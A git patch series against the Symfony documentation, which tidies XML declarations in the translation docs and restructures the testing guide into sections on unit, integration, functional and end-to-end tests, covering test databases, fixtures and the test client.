         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -433,7 +433,7 @@ The ``number`` formatter allows you to format numbers using Intl's :phpclass:`Nu
     .. code-block:: xml
 
         <!-- translations/messages+intl-icu.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
diff --git a/translation/xliff.rst b/translation/xliff.rst
index a3c3daab43e..d5fb90e3586 100644
--- a/translation/xliff.rst
+++ b/translation/xliff.rst
@@ -19,7 +19,7 @@ loaded/dumped inside a Symfony application:
 
 .. code-block:: xml
 
-    <?xml version="1.0" encoding="UTF-8"?>
+    <?xml version="1.0" encoding="UTF-8" ?>
     <xliff xmlns="urn:oasis:names:tc:xliff:document:2.1" version="2.1"
         srcLang="fr-FR" trgLang="en-US">
         <file id="messages.en_US">
diff --git a/validation/translations.rst b/validation/translations.rst
index 16df7921327..396d4fd6eaa 100644
--- a/validation/translations.rst
+++ b/validation/translations.rst
@@ -101,7 +101,7 @@ Now, create a ``validators`` catalog file in the ``translations/`` directory:
     .. code-block:: xml
 
         <!-- translations/validators/validators.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>

From 1380bd7272efc9f85c6c81166090becdfcced4a6 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 22 Dec 2020 17:25:36 +0100
Subject: [PATCH 0735/5766] Very rough sketch of better testing docs

---
 best_practices.rst    |   5 +-
 form/unit_testing.rst |   6 +-
 testing.rst           | 850 +++++++++++++++++++-----------------------
 testing/database.rst  | 115 ------
 4 files changed, 391 insertions(+), 585 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 2880c1014e5..8917b619106 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -399,8 +399,8 @@ Smoke Test your URLs
 
 In software engineering, `smoke testing`_ consists of *"preliminary testing to
 reveal simple failures severe enough to reject a prospective software release"*.
-Using :ref:`PHPUnit data providers <testing-data-providers>` you can define a
-functional test that checks that all application URLs load successfully::
+Using `PHPUnit data providers`_ you can define a functional test that
+checks that all application URLs load successfully::
 
     // tests/ApplicationAvailabilityFunctionalTest.php
     namespace App\Tests;
@@ -454,3 +454,4 @@ you must set up a redirection.
 .. _`feature toggles`: https://en.wikipedia.org/wiki/Feature_toggle
 .. _`smoke testing`: https://en.wikipedia.org/wiki/Smoke_testing_(software)
 .. _`Webpack`: https://webpack.js.org/
+.. _`PHPUnit data providers`: https://phpunit.readthedocs.io/en/stable/writing-tests-for-phpunit.html#data-providers
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 795fd55c9ea..33ef7bd4ca4 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -121,8 +121,8 @@ variable exists and will be available in your form themes::
 
 .. tip::
 
-    Use :ref:`PHPUnit data providers <testing-data-providers>` to test multiple
-    form conditions using the same test code.
+    Use `PHPUnit data providers`_ to test multiple form conditions using
+    the same test code.
 
 .. caution::
 
@@ -242,3 +242,5 @@ guessers using the :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestC
 :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestCase::getTypeExtensions`
 and :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestCase::getTypeGuessers`
 methods.
+
+.. _`PHPUnit data providers`: https://phpunit.readthedocs.io/en/stable/writing-tests-for-phpunit.html#data-providers
diff --git a/testing.rst b/testing.rst
index 12bd6c74524..736e7d5b880 100644
--- a/testing.rst
+++ b/testing.rst
@@ -38,10 +38,9 @@ your app):
     it again. Another solution is to remove the project's ``symfony.lock`` file and
     run ``composer install`` to force the execution of all Symfony Flex recipes.
 
-Each test - whether it's a unit test or a functional test - is a PHP class
-that should live in the ``tests/`` directory of your application. If you follow
-this rule, then you can run all of your application's tests with the same
-command as before.
+Each test is a PHP class that should live in the ``tests/`` directory of
+your application. If you follow this rule, then you can run all of your
+application's tests with the same command as before.
 
 PHPUnit is configured by the ``phpunit.xml.dist`` file in the root of your
 Symfony application.
@@ -51,79 +50,118 @@ Symfony application.
     Use the ``--coverage-*`` command options to generate code coverage reports.
     Read the PHPUnit manual to learn more about `code coverage analysis`_.
 
-.. index::
-   single: Tests; Unit tests
+Types of Tests
+--------------
+
+`Unit Tests`_
+    These tests ensure that *individual* units of source code (e.g. a single
+    class) behave as intended.
+
+`Integration Tests`_
+    These tests test a combination of classes and commonly interact with
+    Symfony's service container. These tests do not yet cover the full
+    working application, those are called *Functional tests*.
+
+`Functional Tests`_
+    Functional tests test the behavior of a complete application. They
+    make HTTP requests and test that the response is as expected.
+
+`End to End Tests (E2E)`_
+    At last, end to end tests test the application as a real user. They use
+    a real browser and real integrations with external services.
 
 Unit Tests
 ----------
 
-A `unit test`_ ensures that individual units of source code (e.g. a single class
-or some specific method in some class) meet their design and behave as intended.
-If you want to test an entire feature of your application (e.g. registering as a
-user or generating an invoice), see the section about :ref:`Functional Tests <functional-tests>`.
+A `unit test`_ ensures that individual units of source code (e.g. a single
+class or some specific method in some class) meet their design and behave
+as intended. Writing Symfony unit tests is no different from writing
+standard PHPUnit unit tests. You can learn about it in the PHPUnit
+documentation: `Writing Tests for PHPUnit`_.
 
-Writing Symfony unit tests is no different from writing standard PHPUnit
-unit tests. Suppose, for example, that you have a class called ``Calculator``
-in the ``src/Util/`` directory of the app::
+By convention, the ``tests/`` directory should replicate the directory
+of your application for unit tests. So, if you're testing a class in the
+``src/Util/`` directory, put the test in the ``tests/Util/`` directory.
+Autoloading is automatically enabled via the ``vendor/autoload.php`` file
+(as configured by default in the ``phpunit.xml.dist`` file).
 
-    // src/Util/Calculator.php
-    namespace App\Util;
+You can run tests using the ``bin/phpunit`` command:
 
-    class Calculator
-    {
-        public function add($a, $b)
-        {
-            return $a + $b;
-        }
-    }
+.. code-block:: terminal
 
-To test this, create a ``CalculatorTest`` file in the ``tests/Util`` directory
-of your application::
+    # run all tests of the application
+    $ php bin/phpunit
 
-    // tests/Util/CalculatorTest.php
-    namespace App\Tests\Util;
+    # run all tests in the Util/ directory
+    $ php bin/phpunit tests/Util
 
-    use App\Util\Calculator;
-    use PHPUnit\Framework\TestCase;
+    # run tests for the Calculator class
+    $ php bin/phpunit tests/Util/CalculatorTest.php
+
+Integration Tests
+-----------------
+
+TODO: KernelTestCase
+
+Accessing the Container
+~~~~~~~~~~~~~~~~~~~~~~~
 
-    class CalculatorTest extends TestCase
+You can get the same container used in the application, which only includes
+the public services::
+
+    public function testSomething()
     {
-        public function testAdd()
-        {
-            $calculator = new Calculator();
-            $result = $calculator->add(30, 12);
+        $kernel = self::bootKernel();
+        $container = $kernel->getContainer();
+        $someService = $container->get('the-service-ID');
 
-            // assert that your calculator added the numbers correctly!
-            $this->assertEquals(42, $result);
-        }
+        // ...
     }
 
-.. note::
+Symfony tests also have access to a special container that includes both the
+public services and the non-removed :ref:`private services <container-public>`
+services::
 
-    By convention, the ``tests/`` directory should replicate the directory
-    of your application for unit tests. So, if you're testing a class in the
-    ``src/Util/`` directory, put the test in the ``tests/Util/``
-    directory.
+    public function testSomething()
+    {
+        // this call is needed; otherwise the container will be empty
+        self::bootKernel();
 
-Like in your real application - autoloading is automatically enabled via the
-``vendor/autoload.php`` file (as configured by default in the
-``phpunit.xml.dist`` file).
+        $container = self::$container;
+        // $someService = $container->get('the-service-ID');
 
-You can also limit a test run to a directory or a specific test file:
+        // ...
+    }
 
-.. code-block:: terminal
+.. caution::
 
-    # run all tests of the application
-    $ php bin/phpunit
+    The special container ``test.service_container`` doesn't give access to the
+    private services that have been removed (those who are not used by any
+    other services). The solution is to declare those private services as public
+    in the ``config/services_test.yaml`` file.
 
-    # run all tests in the Util/ directory
-    $ php bin/phpunit tests/Util
+.. TODO is this really different from self::$container and how to access
+   this in KernelTestCase?
 
-    # run tests for the Calculator class
-    $ php bin/phpunit tests/Util/CalculatorTest.php
+    Finally, for the most rare edge-cases, Symfony includes a special container
+    which provides access to all services, public and private. This special
+    container is a service that can be get via the normal container::
 
-.. index::
-   single: Tests; Functional tests
+        public function testSomething()
+        {
+            $client = self::createClient();
+            $normalContainer = $client->getContainer();
+            $specialContainer = $normalContainer->get('test.service_container');
+
+            // $somePrivateService = $specialContainer->get('the-service-ID');
+
+            // ...
+        }
+
+Mocking Services
+~~~~~~~~~~~~~~~~
+
+TODO
 
 .. _functional-tests:
 
@@ -139,249 +177,313 @@ tests as far as PHPUnit is concerned, but they have a very specific workflow:
 * Test the response;
 * Rinse and repeat.
 
-Before creating your first test, install these packages that provide some of the
-utilities used in the functional tests:
+Before creating your first test, install the ``symfony/test-pack`` which
+requires multiple packages providing some of the utilities used in the
+tests:
 
 .. code-block:: terminal
 
-    $ composer require --dev symfony/browser-kit symfony/css-selector
+    $ composer require --dev symfony/test-pack
 
-Your First Functional Test
-~~~~~~~~~~~~~~~~~~~~~~~~~~
-Functional tests are PHP files that typically live in the ``tests/Controller``
-directory of your application. If you want to test the pages handled by your
-``PostController`` class, start by creating a new ``PostControllerTest.php``
-file that extends a special ``WebTestCase`` class.
+Set-up your Test Environment
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-As an example, a test could look like this::
+The Client used by functional tests creates a Kernel that runs in a special
+``test`` environment. Since Symfony loads the ``config/packages/test/*.yaml``
+in the ``test`` environment, you can tweak any of your application's settings
+specifically for testing.
 
-    // tests/Controller/PostControllerTest.php
-    namespace App\Tests\Controller;
+For example, by default, the Swift Mailer is configured to *not* actually
+deliver emails in the ``test`` environment. You can see this under the ``swiftmailer``
+configuration option:
 
-    use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
+.. configuration-block::
 
-    class PostControllerTest extends WebTestCase
-    {
-        public function testShowPost()
-        {
-            $client = static::createClient();
+    .. code-block:: yaml
 
-            $client->request('GET', '/post/hello-world');
+        # config/packages/test/swiftmailer.yaml
 
-            $this->assertEquals(200, $client->getResponse()->getStatusCode());
-        }
-    }
+        # ...
+        swiftmailer:
+            disable_delivery: true
 
-.. tip::
+    .. code-block:: xml
 
-    To run your functional tests, the ``WebTestCase`` class needs to know which
-    is the application kernel to bootstrap it. The kernel class is usually
-    defined in the ``KERNEL_CLASS`` environment variable (included in the
-    default ``.env.test`` file provided by Symfony):
+        <!-- config/packages/test/swiftmailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/swiftmailer
+                https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
 
-    If your use case is more complex, you can also override the
-    ``createKernel()`` or ``getKernelClass()`` methods of your functional test,
-    which take precedence over the ``KERNEL_CLASS`` env var.
+            <!-- ... -->
+            <swiftmailer:config disable-delivery="true"/>
+        </container>
 
-In the above example, you validated that the HTTP response was successful. The
-next step is to validate that the page actually contains the expected content.
-The ``createClient()`` method returns a client, which is like a browser that
-you'll use to crawl your site::
+    .. code-block:: php
 
-    $crawler = $client->request('GET', '/post/hello-world');
+        // config/packages/test/swiftmailer.php
 
-The ``request()`` method (read
-:ref:`more about the request method <testing-request-method-sidebar>`)
-returns a :class:`Symfony\\Component\\DomCrawler\\Crawler` object which can
-be used to select elements in the response, click on links and submit forms.
+        // ...
+        $container->loadFromExtension('swiftmailer', [
+            'disable_delivery' => true,
+        ]);
+
+You can also use a different environment entirely, or override the default
+debug mode (``true``) by passing each as options to the ``createClient()``
+method::
+
+    $client = static::createClient([
+        'environment' => 'my_test_env',
+        'debug'       => false,
+    ]);
 
 .. tip::
 
-    The ``Crawler`` only works when the response is an XML or an HTML document.
-    To get the raw content response, call ``$client->getResponse()->getContent()``.
+    It is recommended to run your test with ``debug`` set to ``false`` on
+    your CI server, as it significantly improves test performance.
 
-The crawler integrates with the ``symfony/css-selector`` component to give you the
-power of CSS selectors to find content in a page. To install the CSS selector
-component, run:
+Customizing Environment Variables
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. code-block:: terminal
+If you need to customize some environment variables for your tests (e.g. the
+``DATABASE_URL`` used by Doctrine), you can do that by overriding anything you
+need in your ``.env.test`` file:
 
-    $ composer require --dev symfony/css-selector
+.. code-block:: text
 
-Now you can use CSS selectors with the crawler. To assert that the phrase
-"Hello World" is present in the page's main title, you can use this assertion::
+    # .env.test
+    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name_test?serverVersion=5.7"
 
-    $this->assertSelectorTextContains('html h1.title', 'Hello World');
+    # use SQLITE
+    # DATABASE_URL="sqlite:///%kernel.project_dir%/var/app.db"
 
-This assertion checks if the first element matching the CSS selector contains
-the given text. This assert calls ``$crawler->filter('html h1.title')``
-internally, which allows you to use CSS selectors to filter any HTML element in
-the page and check for its existence, attributes, text, etc.
+This file is automatically read in the ``test`` environment: any keys here override
+the defaults in ``.env``.
 
-The ``assertSelectorTextContains`` method is not a native PHPUnit assertion and is
-available thanks to the ``WebTestCase`` class.
+Configuring a Database for Tests
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 4.3
+Tests that interact with the database should use their own separate database to
+not mess with the databases used in the other :ref:`configuration environments <configuration-environments>`.
+To do that, edit or create the ``.env.test.local`` file at the root directory of
+your project and define the new value for the ``DATABASE_URL`` env var:
 
-    The ``WebTestCase`` assertions were introduced in Symfony 4.3
+.. code-block:: bash
 
-The crawler can also be used to interact with the page. Click on a link by first
-selecting it with the crawler using either an XPath expression or a CSS selector,
-then use the client to click on it::
+    # .env.test.local
+    DATABASE_URL="mysql://USERNAME:PASSWORD@127.0.0.1:3306/DB_NAME?serverVersion=5.7"
 
-    $link = $crawler
-        ->filter('a:contains("Greet")') // find all links with the text "Greet"
-        ->eq(1) // select the second link in the list
-        ->link()
-    ;
+.. tip::
 
-    // and click it
-    $crawler = $client->click($link);
+    A common practice is to append the ``_test`` suffix to the original database
+    names in tests. If the database name in production is called ``project_acme``
+    the name of the testing database could be ``project_acme_test``.
 
-Submitting a form is very similar: select a form button, optionally override
-some form values and submit the corresponding form::
+The above assumes that each developer/machine uses a different database for the
+tests. If the entire team uses the same settings for tests, edit or create the
+``.env.test`` file instead and commit it to the shared repository. Learn more
+about :ref:`using multiple .env files in Symfony applications <configuration-multiple-env-files>`.
 
-    $form = $crawler->selectButton('submit')->form();
+Resetting the Database Automatically Before each Test
+.....................................................
 
-    // set some values
-    $form['name'] = 'Lucas';
-    $form['form_name[subject]'] = 'Hey there!';
+Tests should be independent from each other to avoid side effects. For example,
+if some test modifies the database (by adding or removing an entity) it could
+change the results of other tests. Run the following command to install a bundle
+that ensures that each test is run with the same unmodified database:
 
-    // submit the form
-    $crawler = $client->submit($form);
+.. code-block:: terminal
 
-.. tip::
+    $ composer require --dev dama/doctrine-test-bundle
 
-    The form can also handle uploads and contains methods to fill in different types
-    of form fields (e.g. ``select()`` and ``tick()``). For details, see the
-    `Forms`_ section below.
+Now, enable it as a PHPUnit extension or listener:
 
-Now that you can navigate through an application, use assertions to test
-that it actually does what you expect it to. Use the Crawler to make assertions
-on the DOM::
+.. code-block:: xml
 
-    // asserts that the response matches a given CSS selector.
-    $this->assertGreaterThan(0, $crawler->filter('h1')->count());
+    <!-- phpunit.xml.dist -->
+    <phpunit>
+        <!-- ... -->
 
-Or test against the response content directly if you just want to assert that
-the content contains some text or in case that the response is not an XML/HTML
-document::
+        <extensions>
+            <extension class="DAMA\DoctrineTestBundle\PHPUnit\PHPUnitExtension"/>
+        </extensions>
+    </phpunit>
 
-    $this->assertContains(
-        'Hello World',
-        $client->getResponse()->getContent()
-    );
+This bundle uses a clever trick to avoid side effects without sacrificing
+performance: it begins a database transaction before every test and rolls it
+back automatically after the test finishes to undo all changes. Read more in the
+documentation of the `DAMADoctrineTestBundle`_.
 
-.. tip::
+.. _doctrine-fixtures:
 
-    Instead of installing each testing dependency individually, you can use the
-    ``test`` :ref:`Symfony pack <symfony-packs>` to install all those dependencies at once:
+Load Dummy Data Fixtures
+........................
 
-    .. code-block:: terminal
+Instead of using the real data from the production database, it's common to use
+fake or dummy data in the test database. This is usually called *"fixtures data"*
+and Doctrine provides a library to create and load them. Install it with:
 
-        $ composer require --dev symfony/test-pack
+.. code-block:: terminal
 
-.. index::
-   single: Tests; Assertions
+    $ composer require --dev doctrine/doctrine-fixtures-bundle
 
-.. sidebar:: Useful Assertions
+Then, use the ``make:fixtures`` command to generate an empty fixture class:
 
-    To get you started faster, here is a list of the most common and
-    useful test assertions::
+.. code-block:: terminal
 
-        use Symfony\Component\HttpFoundation\Response;
+    $ php bin/console make:fixtures
 
-        // ...
+    The class name of the fixtures to create (e.g. AppFixtures):
+    > ProductFixture
 
-        // asserts that there is at least one h2 tag with the class "subtitle"
-        // the third argument is an optional message shown on failed tests
-        $this->assertGreaterThan(0, $crawler->filter('h2.subtitle')->count(),
-            'There is at least one subtitle'
-        );
+Customize the new class to load ``Product`` objects into Doctrine::
 
-        // asserts that there are exactly 4 h2 tags on the page
-        $this->assertCount(4, $crawler->filter('h2'));
-
-        // asserts that the "Content-Type" header is "application/json"
-        $this->assertResponseHeaderSame('Content-Type', 'application/json');
-        // equivalent to:
-        $this->assertTrue($client->getResponse()->headers->contains(
-            'Content-Type', 'application/json'
-        ));
-
-        // asserts that the response content contains a string
-        $this->assertContains('foo', $client->getResponse()->getContent());
-        // ...or matches a regex
-        $this->assertRegExp('/foo(bar)?/', $client->getResponse()->getContent());
-
-        // asserts that the response status code is 2xx
-        $this->assertResponseIsSuccessful();
-        // equivalent to:
-        $this->assertTrue($client->getResponse()->isSuccessful());
-
-        // asserts that the response status code is 404 Not Found
-        $this->assertTrue($client->getResponse()->isNotFound());
-
-        // asserts a specific status code
-        $this->assertResponseStatusCodeSame(201);
-        // HTTP status numbers are available as constants too:
-        // e.g. 201 === Symfony\Component\HttpFoundation\Response::HTTP_CREATED
-        // equivalent to:
-        $this->assertEquals(201, $client->getResponse()->getStatusCode());
-
-        // asserts that the response is a redirect to /demo/contact
-        $this->assertResponseRedirects('/demo/contact');
-        // equivalent to:
-        $this->assertTrue($client->getResponse()->isRedirect('/demo/contact'));
-        // ...or check that the response is a redirect to any URL
-        $this->assertResponseRedirects();
+    // src/DataFixtures/ProductFixture.php
+    namespace App\DataFixtures;
 
-.. versionadded:: 4.3
+    use App\Entity\Product;
+    use Doctrine\Bundle\FixturesBundle\Fixture;
+    use Doctrine\Persistence\ObjectManager;
 
-    The ``assertResponseHeaderSame()``, ``assertResponseIsSuccessful()``,
-    ``assertResponseStatusCodeSame()``, ``assertResponseRedirects()`` and other
-    related methods were introduced in Symfony 4.3.
+    class ProductFixture extends Fixture
+    {
+        public function load(ObjectManager $manager)
+        {
+            $product = new Product();
+            $product->setName('Priceless widget');
+            $product->setPrice(14.50);
+            $product->setDescription('Ok, I guess it *does* have a price');
+            $manager->persist($product);
+
+            // add more products
 
-.. _testing-data-providers:
+            $manager->flush();
+        }
+    }
 
-Testing against Different Sets of Data
---------------------------------------
+Empty the database and reload *all* the fixture classes with:
 
-It's common to have to execute the same test against different sets of data to
-check the multiple conditions code must handle. This is solved with PHPUnit's
-`data providers`_, which work both for unit and functional tests.
+.. code-block:: terminal
 
-First, add one or more arguments to your test method and use them inside the
-test code. Then, define another method which returns a nested array with the
-arguments to use on each test run. Lastly, add the ``@dataProvider`` annotation
-to associate both methods::
+    $ php bin/console doctrine:fixtures:load
 
-    /**
-     * @dataProvider provideUrls
-     */
-    public function testPageIsSuccessful($url)
-    {
-        $client = self::createClient();
-        $client->request('GET', $url);
+For more information, read the `DoctrineFixturesBundle documentation`_.
 
-        $this->assertTrue($client->getResponse()->isSuccessful());
-    }
+Write Your First Functional Test
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-    public function provideUrls()
+Functional tests are PHP files that typically live in the ``tests/Controller``
+directory of your application. If you want to test the pages handled by your
+``PostController`` class, start by creating a new ``PostControllerTest.php``
+file that extends a special ``WebTestCase`` class.
+
+As an example, a test could look like this::
+
+    // tests/Controller/PostControllerTest.php
+    namespace App\Tests\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
+
+    class PostControllerTest extends WebTestCase
     {
-        return [
-            ['/'],
-            ['/blog'],
-            ['/contact'],
-            // ...
-        ];
+        public function testShowPost()
+        {
+            $client = static::createClient();
+
+            $client->request('GET', '/post/hello-world');
+
+            $this->assertEquals(200, $client->getResponse()->getStatusCode());
+        }
     }
 
-.. index::
-   single: Tests; Client
+.. tip::
+
+    To run your functional tests, the ``WebTestCase`` class needs to know which
+    is the application kernel to bootstrap it. The kernel class is usually
+    defined in the ``KERNEL_CLASS`` environment variable (included in the
+    default ``.env.test`` file provided by Symfony):
+
+    If your use case is more complex, you can also override the
+    ``createKernel()`` or ``getKernelClass()`` methods of your functional test,
+    which take precedence over the ``KERNEL_CLASS`` env var.
+
+In the above example, you validated that the HTTP response was successful. The
+next step is to validate that the page actually contains the expected content.
+The ``createClient()`` method returns a client, which is like a browser that
+you'll use to crawl your site::
+
+    $crawler = $client->request('GET', '/post/hello-world');
+
+The ``request()`` method (read
+:ref:`more about the request method <testing-request-method-sidebar>`)
+returns a :class:`Symfony\\Component\\DomCrawler\\Crawler` object which can
+be used to select elements in the response, click on links and submit forms.
+
+Useful Assertions
+~~~~~~~~~~~~~~~~~
+
+To get you started faster, here is a list of the most common and
+useful test assertions::
+
+    use Symfony\Component\HttpFoundation\Response;
+
+    // ...
+
+    // asserts that there is at least one h2 tag with the class "subtitle"
+    // the third argument is an optional message shown on failed tests
+    $this->assertGreaterThan(0, $crawler->filter('h2.subtitle')->count(),
+        'There is at least one subtitle'
+    );
+
+    // asserts that there are exactly 4 h2 tags on the page
+    $this->assertCount(4, $crawler->filter('h2'));
+
+    // asserts that the "Content-Type" header is "application/json"
+    $this->assertResponseHeaderSame('Content-Type', 'application/json');
+    // equivalent to:
+    $this->assertTrue($client->getResponse()->headers->contains(
+        'Content-Type', 'application/json'
+    ));
+
+    // asserts that the response content contains a string
+    $this->assertContains('foo', $client->getResponse()->getContent());
+    // ...or matches a regex
+    $this->assertRegExp('/foo(bar)?/', $client->getResponse()->getContent());
+
+    // asserts that the response status code is 2xx
+    $this->assertResponseIsSuccessful();
+    // equivalent to:
+    $this->assertTrue($client->getResponse()->isSuccessful());
+
+    // asserts that the response status code is 404 Not Found
+    $this->assertTrue($client->getResponse()->isNotFound());
+
+    // asserts a specific status code
+    $this->assertResponseStatusCodeSame(201);
+    // HTTP status numbers are available as constants too:
+    // e.g. 201 === Symfony\Component\HttpFoundation\Response::HTTP_CREATED
+    // equivalent to:
+    $this->assertEquals(201, $client->getResponse()->getStatusCode());
+
+    // asserts that the response is a redirect to /demo/contact
+    $this->assertResponseRedirects('/demo/contact');
+    // equivalent to:
+    $this->assertTrue($client->getResponse()->isRedirect('/demo/contact'));
+    // ...or check that the response is a redirect to any URL
+    $this->assertResponseRedirects();
+
+.. versionadded:: 4.3
+
+    The ``assertResponseHeaderSame()``, ``assertResponseIsSuccessful()``,
+    ``assertResponseStatusCodeSame()``, ``assertResponseRedirects()`` and other
+    related methods were introduced in Symfony 4.3.
 
 Working with the Test Client
-----------------------------
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The test client simulates an HTTP client like a browser and makes requests
 into your Symfony application::
@@ -489,7 +591,7 @@ script::
     $client->insulate();
 
 AJAX Requests
-~~~~~~~~~~~~~
+.............
 
 The Client provides a :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::xmlHttpRequest`
 method, which has the same arguments as the ``request()`` method, and it's a
@@ -499,7 +601,7 @@ shortcut to make AJAX requests::
     $client->xmlHttpRequest('POST', '/submit', ['name' => 'Fabien']);
 
 Browsing
-~~~~~~~~
+........
 
 The Client supports many operations that can be done in a real browser::
 
@@ -516,7 +618,7 @@ The Client supports many operations that can be done in a real browser::
     occurred when requesting a URL, as normal browsers do.
 
 Accessing Internal Objects
-~~~~~~~~~~~~~~~~~~~~~~~~~~
+..........................
 
 If you use the client to test your application, you might want to access the
 client's internal objects::
@@ -541,69 +643,8 @@ You can also get the objects related to the latest request::
     // the Crawler instance
     $crawler = $client->getCrawler();
 
-Accessing the Container
-~~~~~~~~~~~~~~~~~~~~~~~
-
-Functional tests should only test the response (e.g. its contents or its HTTP
-status code). However, in some rare circumstances you may need to access the
-container to use some service.
-
-First, you can get the same container used in the application, which only
-includes the public services::
-
-    public function testSomething()
-    {
-        $client = self::createClient();
-        $container = $client->getContainer();
-        // $someService = $container->get('the-service-ID');
-
-        // ...
-    }
-
-Symfony tests also have access to a special container that includes both the
-public services and the non-removed :ref:`private services <container-public>`
-services::
-
-    public function testSomething()
-    {
-        // this call is needed; otherwise the container will be empty
-        self::bootKernel();
-
-        $container = self::$container;
-        // $someService = $container->get('the-service-ID');
-
-        // ...
-    }
-
-Finally, for the most rare edge-cases, Symfony includes a special container
-which provides access to all services, public and private. This special
-container is a service that can be get via the normal container::
-
-    public function testSomething()
-    {
-        $client = self::createClient();
-        $normalContainer = $client->getContainer();
-        $specialContainer = $normalContainer->get('test.service_container');
-
-        // $somePrivateService = $specialContainer->get('the-service-ID');
-
-        // ...
-    }
-
-.. caution::
-
-    The special container ``test.service_container`` doesn't give access to the
-    private services that have been removed (those who are not used by any
-    other services). The solution is to declare those private services as public
-    in the ``config/services_test.yaml`` file.
-
-.. tip::
-
-    If the information you need to check is available from the profiler, use
-    it instead.
-
 Accessing the Profiler Data
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
+...........................
 
 On each request, you can enable the Symfony profiler to collect data about the
 internal handling of that request. For example, the profiler could be used to
@@ -624,7 +665,7 @@ For specific details on using the profiler inside a test, see the
 :doc:`/testing/profiling` article.
 
 Redirecting
-~~~~~~~~~~~
+...........
 
 When a request returns a redirect response, the client does not follow
 it automatically. You can examine the response and force a redirection
@@ -642,8 +683,40 @@ will no longer be followed::
 
     $client->followRedirects(false);
 
+Sending Custom Headers
+......................
+
+If your application behaves according to some HTTP headers, pass them as the
+second argument of ``createClient()``::
+
+    $client = static::createClient([], [
+        'HTTP_HOST'       => 'en.example.com',
+        'HTTP_USER_AGENT' => 'MySuperBrowser/1.0',
+    ]);
+
+You can also override HTTP headers on a per request basis::
+
+    $client->request('GET', '/', [], [], [
+        'HTTP_HOST'       => 'en.example.com',
+        'HTTP_USER_AGENT' => 'MySuperBrowser/1.0',
+    ]);
+
+.. caution::
+
+    The name of your custom headers must follow the syntax defined in the
+    `section 4.1.18 of RFC 3875`_: replace ``-`` by ``_``, transform it into
+    uppercase and prefix the result with ``HTTP_``. For example, if your
+    header name is ``X-Session-Token``, pass ``HTTP_X_SESSION_TOKEN``.
+
+.. tip::
+
+    The test client is available as a service in the container in the ``test``
+    environment (or wherever the :ref:`framework.test <reference-framework-test>`
+    option is enabled). This means you can override the service entirely
+    if you need to.
+
 Reporting Exceptions
-~~~~~~~~~~~~~~~~~~~~
+....................
 
 Debugging exceptions in functional tests may be difficult because by default
 they are caught and you need to look at the logs to see which exception was
@@ -658,13 +731,13 @@ to be reported by PHPUnit::
 .. _testing-crawler:
 
 The Crawler
------------
+~~~~~~~~~~~
 
 A Crawler instance is returned each time you make a request with the Client.
 It allows you to traverse HTML documents, select nodes, find links and forms.
 
 Traversing
-~~~~~~~~~~
+..........
 
 Like jQuery, the Crawler has methods to traverse the DOM of an HTML/XML
 document. For example, the following finds all ``input[type=submit]`` elements,
@@ -720,7 +793,7 @@ narrow down your node selection by chaining the method calls::
     ``count($crawler)``
 
 Extracting Information
-~~~~~~~~~~~~~~~~~~~~~~
+......................
 
 The Crawler can extract information from the nodes::
 
@@ -753,7 +826,7 @@ The Crawler can extract information from the nodes::
     The option to trim white spaces in ``text()`` was introduced in Symfony 4.4.
 
 Links
-~~~~~
+.....
 
 Use the ``clickLink()`` method to click on the first link that contains the
 given text (or the first clickable image with that ``alt`` attribute)::
@@ -774,7 +847,7 @@ that provides helpful methods specific to links (such as ``getMethod()`` and
     $client->click($link);
 
 Forms
-~~~~~
+.....
 
 Use the ``submitForm()`` method to submit the form that contains the given button::
 
@@ -883,171 +956,16 @@ their type::
         $client->submit($form, [], ['HTTP_ACCEPT_LANGUAGE' => 'es']);
         $client->submitForm($button, [], 'POST', ['HTTP_ACCEPT_LANGUAGE' => 'es']);
 
-Adding and Removing Forms to a Collection
-.........................................
-
-If you use a :doc:`Collection of Forms </form/form_collections>`,
-you can't add fields to an existing form with
-``$form['task[tags][0][name]'] = 'foo';``. This results in an error
-``Unreachable field "…"`` because ``$form`` can only be used in order to
-set values of existing fields. In order to add new fields, you have to
-add the values to the raw data array::
+End to End Tests (E2E)
+----------------------
 
-    // gets the form
-    $form = $crawler->filter('button')->form();
-
-    // gets the raw values
-    $values = $form->getPhpValues();
-
-    // adds fields to the raw values
-    $values['task']['tags'][0]['name'] = 'foo';
-    $values['task']['tags'][1]['name'] = 'bar';
-
-    // submits the form with the existing and new values
-    $crawler = $client->request($form->getMethod(), $form->getUri(), $values,
-        $form->getPhpFiles());
-
-    // the 2 tags have been added to the collection
-    $this->assertEquals(2, $crawler->filter('ul.tags > li')->count());
